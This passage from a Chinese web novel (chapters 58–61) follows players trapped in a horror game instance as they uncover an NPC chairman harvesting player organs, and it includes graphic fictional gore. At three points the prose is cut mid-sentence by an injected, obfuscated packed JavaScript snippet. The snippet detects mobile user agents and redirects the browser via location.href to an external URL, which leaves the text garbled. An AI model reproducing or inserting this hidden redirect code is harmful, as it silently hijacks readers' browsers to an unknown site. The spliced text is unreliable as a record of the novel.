而她的父母,在一开始或许会为她的归来而开心,但是在她从荣耀变成耻辱之后,他们的目光也逐渐冰冷,他们会说:“你怎么能什么都不知道呢?” 他们会叹息,就像在说:你不该回来的。 肩背被温暖笼罩,林屿冷汗岑岑地回神,贺望的鼻息落在头顶,随后远离。她方才差点摔落床下,是他过来扶了一把。在黑夜中,她看不清他的面容。 “谢谢。”林屿不自在地、含糊地道了一句,深深地呼出一口气。 她恐惧的根源,原来是这个。 她从没有想到,竟然会是这个。 不是公众的谩骂,不是那些有可能出现的指责非难,而是父母失望的叹息。这叹息她已经听过无数次,已经深深地刻在脑海里,活跃在最触手可及的回忆中。每当他们觉得她没有达到期望时,他们就会叹息,每当她有一次违背他们的要求,他们就会叹息。 时间久了,每当她犯了一个错,比如晚交作业,没回答对问题,甚至是没吃某种蔬菜,喝了碳酸饮料,脑海里都会自动响起这一声幽幽叹息。 到了最后,为了让自己不再因这一声声叹息提起心弦,她越来越少地违抗他们,违抗那些细致入微到如厕时间的规则。 当然,她也学会了说谎和阴奉阳违。 可叹息不会停止,偷摸“违规”的快意只是饮鸩止渴,换来更长时间和更深程度的恐惧。 她已经活成了父母的狗,那一声声叹息就是栓狗的链条。 林屿一时想哭,又想不顾一切地大笑一场,时至今日,她才突然明白了这一切,明白了自己一直以来都是怎样的活法,恐怕那些自以为“违逆”的动作,也只不过是项圈内徒劳的挣扎,就像出门后梗着脖子绷直套绳不肯回家的狗,最后总归会被带回去的。 原来斩钉截铁地拒绝贺望的提议,是因为她不敢。 那么现在想明白后,她要重新考虑自己的选择吗? 隔着衣料感受到石头硬块,林屿目送着贺望的黑影离开,回到他自己的床头,只要现在交出这个对她没用的东西,她就能脱离这该死的一切,回到正常世界。 “如果你愿意相信我,就不要把石头放进系统的口袋。”贺望察觉到视线,目光也投向黑暗中的影子,似乎想要描摹出轮廓,他声线温和到有些循循善诱,“我不是为了抢夺。” 林屿垂下头,过了一会儿说道:“就这样吧。” 她的目光落在系统背包中,手环、美味面包、匕首,除此之外没有其它,每一个都孤单地隔离,是她可怜的全部财产。她的手指触到假牙——贺望把这个叫石头,几乎一个念头就可以放进去。 她是如此不安,而贺望如此多变。 林屿终是没有妄动,关掉了面板。弄丢了也好,被偷了抢了也好,总比回家更好。她无声地自嘲,现在回家,清醒着活在牢笼,不进游戏,蒙昧着活在牢笼,哪一个她都不想要。 现实中的狗链要用刀斧斩断,可是谁能告诉她,精神上的狗链又要用什么来斩断? 林屿闭了闭眼,几个呼吸间恢复了平静,她不再谈石头的事,而指向贺望身后的谜团,“你之前说靠‘味道’来区分人,但一个人的‘味道’能飘出多远呢,甚至隔着副本也能闻到?” 58. 第五十八章 “你很好奇?”每当对话延伸到自身的秘密,贺望总是会立刻察觉,“求我,说不定我会告诉你。” “就当是交换。”林屿丝毫不理会他的玩笑,直接递出筹码,先前她在经理身上找到了贺望要的东西,虽然故意没让他拿到,但是这个交易依旧成立,只不过肯定换不了他伸出巨大的援手,换成一个不轻不重的消息倒是刚刚好。 “你告诉我,让我理解,这个交易就一笔勾销,两不相欠。”林屿说着,窝进被窝里,舒舒服服伸了一个懒腰,经理已死,现在不用担心床下,终于可以好好休息一晚了,时间宝贵,生命宝贵,明天的事明天再说。 房间里睡了一个身份不明的男人,但她已经提不起太大的警惕,一回生二回熟,三回像是煮熟了饭,自己可能已经习惯了他,这个奇奇怪怪、总是不速尔来,且可能没有性别意识的“室友”。如果说她原先还因为他的脸产生过一些荷尔蒙,但几番交锋之后,原先新奇、向往、仇恨、挑衅的心绪褪去,余下的是想要穷究尽里的好奇,以及淡淡的熟悉感,就好像自己曾经认识他一样。 可这样的人,自己见过之后怎么会忘记呢? 贺望的声音从另一边传来,“味道,你觉得是指什么?” 他似乎默认了这个交易,林屿想了想,回答道:“通常来说是指舌头品尝到的滋味,酸、甜、苦、辣、咸,但这个味道仅限于口腔,所以你是依靠气味?” 如果是气味,那么他的鼻子也太灵了吧,隔着副本闻到气味,难道副本之间是连通的吗? “是了,通常来说,口味只能用舌头品尝,气味只能用鼻子来嗅,但还有一种味道,可以传递很远的距离,影响到很多的人,只不过,大多数人都对此一无所觉。” “是什么?”林屿听得奇异,立刻追问他。 “嘘。”贺望似乎在笑,“问题是:你要理解感知的方式,我可以告诉你答案,眼睛,我能用眼睛‘闻’到这种人们看不见的‘味道’。” …… 跑! 快点跑! 要被追上了,他不想死啊! 钱刚满头大汗,面目紧皱,双腿在床上抽搐着,似乎在梦里奔跑,忽然间,他从床上骤然跌落,头重重磕到地面,这一下直接让他眼冒金星,也让他从梦中醒来。 他正对着那张床架折散、直直杵在地上的空床,一时愣了神。 经理呢? 他不是刚才还在被经理追杀吗? 后脑传来一阵剧痛,昨夜的记忆缓缓回笼,对了,那两个人! 钱刚环视屋子里打斗的痕迹和地上那滩显眼的血渍,以及被封堵得严严实实的暗道,目光逐渐阴沉。 该死的!那两个人是一伙的!他被那女人当饵了!一想到这层,他急火攻心,愤怒得不能自抑,他一定要报复回来不可! 走廊外已经充溢着明亮的灯光,透过窗帘洒落在房间里,钱刚甩开房门,恨恨地一跺脚,他昨天就是在这里被定住身形,险些丧命。都怪那两个人! 不知道他们对上经理之后怎么样了,希望他们都死了,在那个变态手底下碎尸万段!钱刚阴暗地想道,就算没死,他也不会让他们好过。 他想到了一个绝妙的主意,之前那女人用告状坑过他,那他不也可以以牙还牙,用同样的方法对付她?毕竟,刺杀NPC,可是明目张胆地和这里原住民作对了。 钱刚抬腿走上三楼,敲响了董事长的门。 …… 林屿睁开眼睛,对着空荡荡的房间出神。昨天解决掉一大隐患,没有了夜里的各种噪音,她终于在副本里睡了一个好觉,醒来的那一刻,刺杀董事长的计划在脑海里成型了。 这个“精英”NPC不是没有弱点的。 此时已经过了七点,可以出门走动,林屿起身检查了一番衣柜里的人,确认他依旧昏迷,随后拉开比自己还多灾多难,嘎吱作响关不严实的坏门。来到走廊,她注意到,钱刚的房门已经大开,里面依旧是昨天的狼藉,但是原先昏迷的人不见了,看起来他甚至比自己醒得早。 林屿来到队友的房间。 “怎么对付董事长,你有思路了吗?”孟锦竹一早就等着她来了,双眼放光地期待着林屿说出计划。连她自己都没有察觉到,不知不觉间,林屿已经从进入副本时离队的独行者变成了三人小队的中心人物。 她总是充满求知欲地探寻着副本迷雾下遮蔽的真相,因此,也总能先人一步察觉到平静表面下暗藏的危机。 刺杀NPC,这在以前是孟锦竹不敢想象的大胆找死壮举,竟然在一天之内被她决定并且完成了,并且全身而退,让玩家少了一个巨大的威胁。要知道惯常以来都是玩家被NPC追得上天无路下地无门,这一回的反杀虽然她没有直接参与,却也同样听着隔壁的响动惊心动魄,看着纸条上的胜利扬眉吐气。 林屿没有立刻讲自己的计划,目光在孙覃身上多留了一秒,随后说道:“或许,我们可以扮演一回坏人,玩一出挟持人质的套路。” 只要在场的正义化身不反对,她在心里默默地想着。 咦?孟锦竹心中荆轲刺秦的想象骤然停滞,缓缓变成了头套黑袜银行抢劫的场面。 计划定得很简单,林屿去偷董事长窝藏的女子威胁他,趁对峙的时候孙覃从背后把人制服,然后逼他说出安全出副本的办法,如果他不说或者不配合,就把人打晕绑了——这个NPC虽然开局就杀了一个玩家,但是到现在为止也只杀了一个玩家,而且前提是玩家违背规则,不听劝告,所以他只是在履行职责,从这点看,他没有到达十恶不赦的程度。 孙覃无论如何也不希望林屿再次杀NPC,他担心这种真实感会给她留下无法言说的创伤。 林屿倒是不置可否,同意了他的要求。 “那么,我们就开始行动吧。”林屿说着就要蹲下去钻床底的暗道。他们计划把那个神秘女子带到房间里来,在玩家房间制服董事长,虽然这条走廊是单向的,有自堵退路的嫌疑,但地点是无论如何也不能选在董事长办公室的,那是他的主场,天知道他在那里放了什么武器。 “一定小心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有可能。”林屿回答,正要继续问过程,忽然想到什么,他说“先回去了”,回去,为什么用了这个词? “什么时候?”她问道。 汪睿:“什么什么时候?” 林屿:“漆春什么时候下楼的?” 汪睿卡了卡,似乎没想到她会问这个问题,有些摸不着头脑,“昨晚啊,快熄灯的时候,不然我肯定也跟着去偷、额不,看热闹了。” 说完看热闹,他觉得这个词也不对,正在苦思如何修改,孟锦竹已经反应过来,“你开始说今早发现她不在的,可为什么最后见到她的时间是昨晚?” “这没问题啊?”汪睿大概是方才匆忙找人情绪上头,一时理不清思绪,“我听见他们回来了,那两个男人不是一间房吗,有两声关门声,昨天漆春看到空房间就说她准备住那里,所以她是回房间了的。” 林屿知道问题在哪里了,“昨晚她没有回去,另外两个人分开住的。” 59. 第五十九章 所以漆春昨晚就没有回来。 林屿的第一反应是,是哪个NPC动的手。不,不能这么绝对,漆春是去听墙角失踪的,那么那两个交谈的人有很大嫌疑。 孙覃已经问了,“那两个说话的人是谁?” “隔得远听不太清。”汪睿搔搔头,苦思冥想,“反正是男人的声音,还怪熟悉的,应该就是那两个玩家或者经常见到的NPC吧。” 林屿想了想,昨夜,男人,交谈,而已知的是田子阳把夜里规避危险的消息告诉了钱刚。会不会漆春正好听到的是他们接头的一刻,他们与她的消失又有什么关系呢? 想到这里,林屿起身,“我去问问‘知情人’。” “问谁?”孟锦竹道。 “谈话的玩家。”说完,林屿拉开房门,回过头,看见三双眼睛都正对着自己,于是略略解释了一下,“另外两个玩家可能知道些什么,我去问一下,很快回来。” 顿了顿,又对起身想跟上来的孙覃说道:“现在大家最好聚在一起,情况已经和先前不一样了。”她示意两人留住还一头雾水的汪睿。 确实,副本进行到现在,里面的主要NPC都没了一个,剩下的那个发现以后还得了。何况,董事长似乎已经开始他的“狩猎”,这说明,玩家基本都已经“成熟”了,就像那个消失不了的耳朵,他们已经没有办法通过死亡离开副本。 孙覃想通其中的环节,对不明就里的汪睿说道:“今天不用再去运动了,外面不安全。” 林屿合上门,隔绝了里面的交谈,她大踏步来到走廊另一头的镜子房间,里面一个人影也没有,看起来没有人在这里。她在一楼健身房找到了田子阳,他正在研究那一面储物柜,并且似乎在试图挪动这个比他高得多的东西。 见到来人,田子阳回头望了望,“是你啊,你来帮把手,我要看看墙后面。” 林屿走过去,站到柜子的另一边,看了看那些黑黝黝的锁孔,没有理会里面潜藏的摄像头,就像一个沉默的帮手,与田子阳合力挪开了储物柜。 “果然。”田子阳看见露出的一扇门并没有太惊讶,“我一早就觉得这里的布局很奇怪,楼上楼下房间对应的地方在一楼是墙壁,原来还藏着暗间。” 他看了林屿一眼,“还有暗道。” 联系深夜床下爬出袭击者的事,田子阳很容易想明白暗道的存在,说不定他就是想确认暗道在哪才找到的这里。 田子阳把缝隙搬得更大了,他的手已经放在了那扇隐藏起来的门上,似乎马上就要推开它,“你似乎一点也不惊讶。” 林屿不置可否,站在田子阳背后,神色莫测。最终,就在他已经把门打开一半的时候,她说道:“里面很危险。” 田子阳动作顿住了,他从半开的门外往里一看,差点被晃花了眼睛。各式各样的健身器材挤挤挨挨地占满了整个房间,银灰的金属光泽流淌其间,即使没有人在摆弄,一些说不出名字的器械上的吊臂和杠杆仍然来回晃动着,发出嘎吱轻响,就好像在向来人发出邀请一般。 铁架上,几只哑铃左右滚动,似乎是感受到了人气,其中一只跌落下来,咕噜噜地向门口滚来。 田子阳后退一步,铁青着脸关门,在哑铃碰到自己的脚之前隔绝了一切。就在后一秒,门后传来“叮啷”一声闷响。 不需要额外解释,他想通了其中关窍,“这些是高危器材本来是给我们用的,但是被锁在这里不让我们碰,为什么,那些NPC不可能帮玩家。”联想到食物里的“灵异”,他脸色顿时不太好。留着养肥并之后并不会跟着什么好事。 他等着林屿附和,可她依旧没有说话,沉默了一会儿,他说:“你似乎有话要问我。” “消息,是你告诉钱刚的。”林屿用的是肯定的语气。 “是我。”田子阳也没想过能瞒过去,“抱歉扰乱了你的计划,不过他也没得到好,不是吗?” “我以为,你们关系很不好。” “是很不好,但总归在一个公会,有利益联系不是很正常的吗?” 林屿笑了笑,“是吗?” 田子阳道:“是的。” 林屿又问:“你从他身上得到了什么?” “一个道歉。” 林屿:“道歉?” 田子阳冷漠地说道:“人都要死了,在临死之前还不得不向厌恶的人低头道歉,这种机会可不常有。” 总归是异变的副本,九死一生,到现在为止他都没有找到明确的通关消息,头上还顶着一个不能离开的倒计时,利益考虑有,但在生存面前都不值一提,他就是在恶心钱刚,想看他不得不低头的样子,反正都不知道自己能活到多久。 他其实从一开始就没有相信林屿能离开这个副本,她的计划,在他看来几乎不可能实现。 到这时,林屿也明白了他的态度,不再纠结这件事,转而问起漆春失踪相关的情况,“昨天临近熄灯的时候,你是不是在大厅?” “你怎么知道?”田子阳惊讶,随后表情变得若有所思,像是看一个满肚子坏水的人一样看着林屿,“你听到了?刚才你只是在试探我。” 他似乎以为林屿旁听了一切,早就知道他“帮”钱刚的事,也早已谋划好之前的应对,刚才只是在试探他诚不诚实。 虽然被怀疑腹黑,但这也证明了她的猜测,漆春去听的墙角就是这两个人的,“不是我,是漆春,你昨晚有看见过她吗?” “没有。”田子阳斩钉截铁,看到林屿怀疑的目光,他重申,“我没看到她,回来的时候你们都回房间了,除了钱刚连NPC都没看到。” 林屿目光微动,连NPC都没看到?她可能知道是怎么回事了。看来,挟持人质的计划要推迟一些了。 …… 一束笔直的光源照亮前方,林屿又一次走入暗道之中,只不过这一次,她身后还跟着两个同伴,三人步伐紧随,向黑暗深处行进。 经理的尸体横在走道,已经僵硬发灰。他的脸杵在地面,发福的身体堵住了去路,浑身狼狈不堪,像极了每一回倒在他面前的羔羊。 孟锦竹在身后小小地惊呼一声。 林屿面无表情地从他上方跨过,循着记忆中的道路,挑选着正确的岔路,弓着腰走向狭窄的暗道深处。 在健身房找到田子阳之后,她把他带去了同伴那里,告诉了他董事长已经开始动手和经理死亡的消息。到了这个时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495301|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有人再冥顽不化地遵守规则,坚持出门履行那四个小时运动时间的“职责”,或是去餐厅享用那些加了料的美味。 田子阳和汪睿无论愿意还是不愿,都被动成为了几人的同伙,毕竟余下的那个董事长不爱讲道理,见到他们估计会直接动手。 安排给他们的任务也很简单:和往常一样去健身房,但不是为了“运动”,而是为了转移目光。 毕竟一个玩家也不出现实在让人起疑,在林屿找到漆春之前,董事长不能起疑。 钱刚一直没有出现,他被默认为和漆春一样受到袭击,于是林屿此行便是去救走两人。原先挟持人质的计划延后,毕竟要先保证自己这方没有人质落在敌方之手。 □□被从她的衣柜中挪出,放到了队友的房间,好歹这间有个完好的锁。泳池铁门后空间的入口,就是□□告诉玩家的——被匕首贴着脸比划的时候。 之后林屿把袜子塞回去了,无视了他愤怒的挣扎。 他依然被捆着藏进了衣柜。 队友做得更细心,甚至还在衣柜中垫了厚厚的衣服,防止他弄出很大的声音。 所以那两个家伙其实也有绑架的天赋,是吧? 此刻,林屿已经从假配电箱的位置爬出来,来到了原本属于经理的房间,她驾轻就熟,推开了卫生间的门,来到卧室。腿骨地灯还安静地伫立在床头,不过,往后不会再有新的遗骨被填进去了。 她打开第二道门,往外张望,最外侧办公室的大门紧闭,但,在这一间不大不小的房间内,横陈着一具肥胖的尸体,尸体身穿白色厨师服,头朝下栽倒在待客沙发上。 贺望说的宰了只是一个形容,厨师浑身上下没有伤口,七窍里却有血液流出。 “没有危险。”孙覃检查完毕,招呼孟锦竹过去,而林屿则来到了卧室对面墙壁,厚重的窗帘前方。 之前的匆匆一瞥,她以为窗帘是为了遮挡阳光。 伸手,扯开,一扇金属门出现在眼前。原来减重营从来没有对外的窗户,而原本,这里也没有对外开放的大门,林屿来来回回找过很多次,那些NPC威胁玩家不遵守规则就驱逐他们所必须的“出口”,从来都没有出现过。 所有人,包括NPC,进入这个副本,就相当于进入一个密不透风的堡垒。 这个隐秘的通道,据说直通地下一层,一直抵达泳池淋浴间那扇锈迹斑斑的铁门之后。 金属门上没有锁,只有一个一字形的门栓,几乎不设防,但它位置隐蔽,并且在最危险NPC的地盘,也不需要设防。林屿抽出门栓,一道向下的楼梯展现在眼前,室内的光打在楼梯上端,下端依旧潜藏在阴影之中。 □□说,他只负责抓捕,抓捕之后直接送到董事长的办公室里,不知道人会怎么样。在林屿指出他进入过铁门后又说,他只负责清洁,里面常常用于处理尸体。 林屿再次打开手电,照亮了过分宽阔的台阶。 没走几步,她停下脚步,往身后看去。台阶横着往侧方向延伸,两扇铁门并排而立,相距不过十米之距,她走进来的那一扇半开半掩,另一扇则严丝合缝地紧闭。 原来这个空间,是经理和董事长共享的秘地。 60. 第六十章 一声轻响扰动了她的凝视,林屿提起心,望向旁边的铁门,生怕一个不留神董事长就从旁边进来了。 墙壁上的水又往下滴了一滴,发出滴答声,林屿用手摸了摸,划破均匀覆盖的水膜,在石壁上留下四道黑漆漆不反光的指印。 越往下走,越能听见机器隆隆的响声,也能闻到越来越明显的气味,林屿不由皱了下眉头,血腥、尸臭,还有消毒水,三种味道混合在一起,像是地下室盘绕不去的幽灵,在人的心头投下阴影。 毫无疑问,这里被放置过很多尸体,林屿继续下楼,先前本来急迫地想找到漆春,但现在已经不期待她在这里了。 不在的话,至少还有救。 抽水泵隆隆作响,池水一刻不停地循环、过滤、消毒,地面是一滩又一滩的积水,看上去像是清洗过后的余韵。 林屿踩中水滩,溅落的积水炸出一声脆响,这个声音在充斥噪音的房间里不明显,但角落里有什么东西被惊动了。 一束光照过去,一排排扎紧的编织袋摆放在角落,而最后的袋子鼓一处凹一处,像是有什么活物在挣扎。 还能有什么活物呢? 林屿掏出匕首果断划开口袋,露出了钱刚僵硬麻木的脸。他的双眼直愣愣地朝着林屿,嘴唇蠕动,却一句话也说不了。 啪嗒。他裹着编织袋的身体栽倒在地,溅了林屿一身水。 林屿划开编织袋,露出了他的身体,没有缺胳膊少腿,血迹集中在他的腹部——那里有一处竖直的切口。 钱刚在地上抽搐,这是临死前最后的挣扎,他丢了内脏,麻药也开始失效,这最后逐渐加深的剧痛,无法阻挡生命的流失。 他千方百计地想要活得更好,无论是在现实还是游戏都拼命地竞争,依附于资源,依附于权力,这无疑让他比很多人得到的更多,然而,就在最后这一次,他失利了。 董事长没有接受他的投诚和讨好,直接取用了送上门来的“材料”。 林屿划开钱刚旁边的编织袋,看到了死亡多时的漆春,她的身体已经变得和积水一样冰冷,腹部同样有一道伤口,这一回,林屿检查了内部。 丢了肺。 所以,董事长的目标,是玩家的器官。 林屿想清楚时,钱刚早已没有动静了,为了验证这点,林屿同样检查了他的内脏,他丢的是肝。 她不由疑惑,每个人丢的不一样?这些器官究竟被拿去做什么呢?吃? 她划开更多的编织袋,想看看其他尸体都丢了些什么,然而里面只剩下白骨。 通道上方传来敲击声,林屿警觉抬头,这是约定的暗号,表明——董事长来了。 不是他下铁门,而是,他到了经理办公室。 敲击声只有五下,孙覃通知了情况,应当是返回继续保护孟锦竹了。董事长可能是去问□□下落的,毕竟人现在还在衣柜里绑着。 林屿没有立刻回去,而是花了一点时间把泳池水循环装置给关掉了,然后又摸索着,放空了池子里的水。 没有了如同封印一般的池水,那些僵硬的魂魄会获得自由吗? 她一直觉得泳池就像一片坟墓,埋葬着玩家横死的亡灵。 亡灵不该被困锁于死地。 …… 顶着经理面孔的孟锦竹在他的办公室迎接董事长,来人一如既往穿着正式,西装平整,皮鞋锃亮,甚至多戴了一双薄薄的蚕丝手套。 孟锦竹在他身上闻到了一股淡淡的消毒水味。 “您特意过来,是……”她见对方不说明来意,模仿经理的语气诚惶诚恐道。孙覃在里间躲着,她不是一个人面对他,孟锦竹给自己打气。 周利司的目光扫过房间,毫不客气地坐在办公桌后的主位上,傲慢地一抬下巴,露出一个冷笑,“我想你应该清楚。” 清楚,你派出去的□□已经被绑了,但面上还是得装出毫不知情的模样,“这……莫非是玩家又闹事了?” 周利司冷峻的目光将孟锦竹上下笼罩,他的目光看谁都显得冷,孟锦竹感觉自己在他眼里就是一个死人,难怪同为管理者,经理依然如此害怕他。 “是啊,他们这回——闹了很大的事。”他意味不明地说道,“你有把我的警告放在心上吗?” 如果对面是经理,应当明白他说的是不许偷猎玩家的事,但对面是没有听过谈话内容的玩家。 孟锦竹低头揣摩着回答,“我一直都谨记您的训诫,所以您这回来……” “如果你有放在心上,就不会成现在的样子了。”董事长伸出被手套包裹的食指,敲了敲桌面,“□□在哪里?” 他终于问到正事了,孟锦竹紧张地咽了咽口水,将想要变身的冲动压下,“他怎么了?昨天不是都好好的吗?” 她做出迟疑的模样,“说起来,今天我还没看到他。” “没看到?”周利司分明还在怀疑。 “我真的什么也不知道啊!”孟锦竹抹了把额头上的汗,腆笑道,顿了顿,恍然大悟,“你怀疑我派了什么任务给他,我没有!” “是吗?”周利司轻飘飘地反问,“那餐厅怎么没人打理,厨师去哪里了?” 孟锦竹心头一跳,漏子还有厨师!□□不在,装作不知情也许糊弄得过去,但厨师,负责每天上菜撤餐,这个人也和经理有着说不清的联系,两个人一起失踪,“经理”怎么也摘不出去的! 现在只能拖延时间。 “我不知道,厨师不应该在厨房忙活吗?” “这就要问你了。”周利司的目光牢牢盯住她。 孟锦竹弄不清他的态度,心头隐约有种不安的感觉,“我现在就去看看!他们一个二个,怎么这么不像话,一天天的就知道偷懒!” 她提心吊胆地挪动步子,向门口靠去。来着不善,她还是先退走,等玩家的人质救出来,NPC的人质绑好之后再和他对峙。 一步,两步。 孟锦竹搭上把手,正要开门。忽然,她听见窸窣轻响。 “别挑战我的耐心。”周利司已经站起身,绕过了办公桌,他的声线骤然冰冷,从身后步步逼近,“还真是像啊,但同样的把戏,别想玩第二次。” 孟锦竹惊惧地打开房门,往外逃去,忽然间,她感觉脚下触感不对,像是踩上了什么软绵绵的东西,低头一看,面容骤然变化。 “啊!!!” 孙覃从里间冲了出来。 …… 林屿放空了泳池里的水后,就返回了铁门入口,和守在卧室门后的孙覃摆了摆手示意结果,又一头扎进暗道之中。办公室有交谈的声音,听上去是董事长来了。 所以现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495302|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在正是偷家的好时机。 她一边在狭窄的通道里蛄蛹着,一边想着队友的情况,不知他们能不能送走那尊瘟神。不,不能这样想,送走董事长不是他就回自己的地盘了吗?还是多拖一会儿时间的好。 林屿取下画框,第二次回到这个神秘的房间,不过这次她目标明确,就是床上的女人。步履匆忙间,她忘记了检查床下。 林屿第一次触碰到她。 冷的,冰冷。 怀疑证实,她并非昏迷不醒,而就是一具尸体。 她低头,闻到了淡淡的尸臭。动作间,女人遮住额头的刘海滑开,露出了针脚缜密的额头。 她的脑袋被切开过。 脚腕有怪异的爬行感,黏腻、冰凉,像是有什么恶心的爬行动物附着上了皮肤。 …… 周利司的手掐住孙覃的脖子,将人提上半空,脚尖堪堪擦着地面。他不喜欢被俯视,但现在的情况除外,是他掌控着他人的生死。 孙覃脖子反射着金属的光,竭力硬化这处脆弱的地方,以此抵抗手指的挤压,但空气仍然一点一点流失。他试图掰开董事长的手指,却被逐渐黏腻的肉蔬馅泥爬满身体,阻滞动作。而一旁的孟锦竹早已被包满全身,大约是不想现在杀人,给她漏了一张脸在外面。 他们都曾猜想过董事长的技能,却没想到答案早已在第一天就明晃晃地摆在眼前。 操控食物,他就是用这招杀死试图逃跑的肖昌盛。 恶心、可笑、肮脏的技能,和他本人格格不入,因此谁都没有往这个轻而易举的地方去想,答案被下意识忽视掉了。 可就是这个阴暗黏腻的技能,让他们如身陷沼泽地般动弹不得,更别说反制了。 董事长发现得太过突然了,他不该这么早就猜到的,他们还没有准备好,即使曾经把变形的技能暴露过,他也不该毫无缘由地认为办公室里的人是假的,毕竟他们完全走的暗道,没有在监控中暴露行踪。 他不该如此直接、笃定、迅速地识破伪装,除非……他早已知晓。 是什么时候?是察觉到昨晚的动静了吗? 像是发现了孙覃的疑惑,周利司笑了一声,“很奇怪吗?我为什么这么快就看穿你们的把戏,明明只该感觉有些不对,怎么突然就动手了呢?” “为什么?”孙覃发出艰涩的声音。 “人群里什么时候都会出叛徒,我感谢他的奉献。” 只要稍微一想,不难知道告密者是谁,孙覃忽然说不出话来,昨夜,他急切地想要救人,为此甚至觉得林屿冷漠,失去了对同类的同情,然而事实狠狠地浇了他一桶凉水,从头到脚,和过去每一次救人与背叛混合在了一起。 对啊,他怎么没有想明白呢?这里早已不是原先那个世界了,有多少人完全把此处当成游戏,还有多少人完全抛弃了原本的道德,数也数不清。毕竟,这里可没有律法的约束,有的,只是简单的游戏规则。 自己想要和原先一样保护所有人的生命与安全,不过是痴人说梦,除非,一切回到正轨。 他没有一刻像现在这样希望一切回到正轨,所有人回到原先世界。 “你还在等同伙吗?”周利司的神色忽然阴沉,“没用的,同一个错误我不会犯两次,上次被摸上家门,这次我好好准备了一份大礼。” 61. 第六十一章 孙覃心一沉,董事长的手段是这样防不胜防,林屿孤军奋战,很容易中招。他的挣扎幅度变大。 像是察觉到了他还有余力,一些黏糊糊从地上攀爬而上的糊状物开始往他嘴里涌去。 “刚刚有了肺和肝,你的话,就贡献出脾吧。”周利司像评估货物一样打量着他。 “唔、唔!”孙覃拼命紧闭嘴巴,抵挡那些想要乘虚而入的黏腻之物。 “吃啊,你们不是千方百计就是为了那点吃的吗,每一回、每一次来新人,都少不了那一出,就像疯狗看到肉骨头一样抢!”他冷笑,“你不吃,是觉得还有谁会来救你吗?” 孙覃的硬化颇为棘手,于是周利司决定从内部攻陷,他可以操控这些食物,到时候让它们包裹着内脏扯出来。 不张口,还有鼻孔呢。眼看着孙覃即将陷入绝境,孟锦竹焦急万分,忽然,隔壁办公室的门碰地一声打开,一个声音响起。 “谁说是心存幻想,我这不是来了吗?”林屿手持匕首,抵住女人脖颈,“你再不放开他们,这张漂亮的脸蛋就要被划伤了。” 孟锦竹如同迎接救星一般看向她,然后听见了这句完全属于反派的台词。 周利司脸色剧变,一瞬间差点失仪,“你怎么可能……放开她!” “那要看你放不放人了。”林屿慢条斯理地说道,她注意到地面四面八方涌来的粘稠食物泥,在女人脖子上刺了一下,引得他往前迈了半步。 “不要搞小动作,把这些收回去。” 包抄停止,周利司调整表情,“你放开她,一切都可以谈。” “你先放人。” 孟锦竹恢复自由,她在察觉到身上包裹物消退之后,第一时间站在了林屿身边。 “需要我做什么?”她低声问道。 “扶好她。”林屿把人交给孟锦竹,自己一只手拿刀一只手提着人实在是很不方便行动,而且很重。 “我已经展示了诚意,你应该相信我会放人。”董事长以商量的语气说道,眼神粘在女子身上。 林屿露出淡淡的笑容,可语气却是说不出的古怪,“还真是情深义重啊,这么怕她有事,是担心自己的作品散架吗?” 作品?不是恋人吗?孟锦竹压住疑问,接过人质,低头一看,看见了她脖子上密密麻麻的针脚,悚然一惊。不止是脖子,如果她掀开袖口或是任意一处地方,就可以看见关节和皮肤上交错密布的缝线,她像是一个被打碎又重组的人偶,只不过,每一处皮肤和骨骼都有细微的区别,人偶全身的零件好似来自不同的生产厂家,即使竭尽全力挑选了相同的型号,也给人无法忽视的怪异感。 周利司的表情变得狰狞,“不许你这么说她,她是我的爱人。” “一个用玩家尸块拼凑出的爱人。” 孙覃和孟锦竹难以置信地瞪大了眼,有经理“珠玉在前”,他们以为董事长也是类似的目的,却没想到真相比想象更加猎奇,他竟然用杀害的玩家身体拼凑了一个女人出来,还把这个女人当成爱人! 周利司语气冰冷,“庸人怎么可能理解,他们总以为自己窥见了全部。” “多说无益,你究竟换不换?” 动弹不得的孙覃被往前送了送。周利司非常干脆,甚至主动让步,完全展示出了弱势位的对峙者该摆出的态度。 孟锦竹拉了下林屿的袖口,林屿再看了眼女人,“换。”种植者组织里有个没有明说的信条——人命重于一切,她要是抛弃同伴就别想在团队里混了。 孙覃归队,三人一同面向董事长后退,人质在这里用出去了,失去了胁迫的筹码,而NPC的技能又正好克制唯一的战斗人员。 没有对付他的把握,看来必须说服另外两人参与战斗了。 女人被周利司揽入怀中,细心地检视,他首先查看了女人的脑袋,看到缝线正常时微不可察地松了口气,然后仔细抚摸了一遍她的脸,心疼地摩挲着脖颈处的破皮,随后匆匆扫了眼外裙。 幸好他没有当场检查别的,不然可能会少儿不宜。三人原本觉得他有冷血无情精英范,现在只觉得他的行为说不出的让人不适,不过即使这样,林屿还是品尝到了一股腐烂变质的乙游霸总味。 她可能再也不想玩这类游戏了。 